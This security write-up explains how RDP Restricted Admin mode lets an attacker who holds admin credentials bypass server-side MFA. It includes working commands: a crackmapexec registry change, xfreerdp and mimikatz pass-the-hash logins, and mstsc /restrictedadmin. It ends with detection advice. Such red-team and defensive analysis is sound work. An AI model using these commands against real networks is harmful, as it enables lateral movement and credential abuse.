The adoption of Remote Desktop also shed light on other security weaknesses, namely caching of credentials on the Windows host being connected to. Specifically, the Windows Local Security Authority Subsystem Service (LSASS) process on the Remote Desktop host stores a copy of the credentials used for interactive logon authentication. These credentials are utilized to service subsequent connection requests to authenticated resources such as file shares. To combat this, Microsoft released an addition to RDP called Restricted Admin mode. This mode allows users that possess local administrative privileges on the Remote Desktop host to complete the authentication process without supplying the password in cleartext. As a result, the password is never cached on the logon host and cannot be reused by a threat actor to escalate privileges across the environment. At the same time, this functionality allows pass-the-hash attacks against RDP and hence puts corporations in a fix whether to prioritize chances of credential compromise versus reuse.
MFA Caveat
However, the specifics of the authentication process are of interest when operating in Restricted Admin mode. The distinction is between an “interactive” versus a “network” logon and since the Restricted Admin mode uses the latter (adopting a token-based method as compared to cleartext credentials), the authentication doesn’t take place on the Remote Desktop server but instead on the client itself. As a result, authentication factors enforced on the destination server such as MFA provisioned via Duo, Okta, or potentially other identity and access management solutions are rendered ineffective.
A caveat that arises from this mode within RDP is that threat actors can completely bypass MFA on servers and/or workstations when attempting to laterally move across the corporate environment if they possess administrative privileges. While the Restricted Admin mode is disabled by default, the following red teaming Tactics, Techniques, and Procedures (TTPs) describe how it could be leveraged to expand coverage and access across the network.
Imagine the following scenario: the adversary has gained an initial foothold within a firm’s internal network infrastructure and has access to a set of administrative credentials that can be used to compromise a domain-connected Windows host. They have attempted to log on via RDP but there’s a multi-factor mechanism that is sending a push notification to the victim user’s phone and awaiting approval. At this point, the adversary could attempt an MFA fatigue attack by spamming the victim device with push requests in hope that they accept the notification, but this approach is noisy and has rate limitations.
Since they have access to credentials, they can interrogate an administrative session over port SMB/445 (which does not enforce MFA as it’s a network logon) and enable the restricted admin mode:
crackmapexec smb <IP> -u <username> -p <password> -x 'reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD'
Next, they can generate the NTLM hash for the supplied password and bypass MFA on the Remote Desktop server using FreeRDP on Linux:
xfreerdp /v:<IP> /u:<victim username> /d:<domain> /pth:<victim password-hash>
Or the official Remote Desktop client on Windows (logged-on user’s context):
mstsc.exe /restrictedadmin
On Windows, they can either hijack the logged-on user’s context or request a service ticket using mimikatz:
mimikatz # sekurlsa::pth /user:<victim username> /domain:<domain> /ntlm:<victim password hash> /run:"mstsc.exe /restrictedadmin"
Detection
In order to detect this MFA bypass, EDR systems and/or system administrators should monitor the server registry to ensure that the DisableRestrictedAdmin key is set to 1, which indicates that the mode remains disabled. In the event that this value is modified, a security alert should be triggered which causes the isolation and quarantine of the originating host in order to stop the adversary in their tracks. While these recommendations serve as detective and responsive controls, there is no known remediation at the time of writing for this issue, which has been documented by some identity and access management vendors such as Duo but not all.
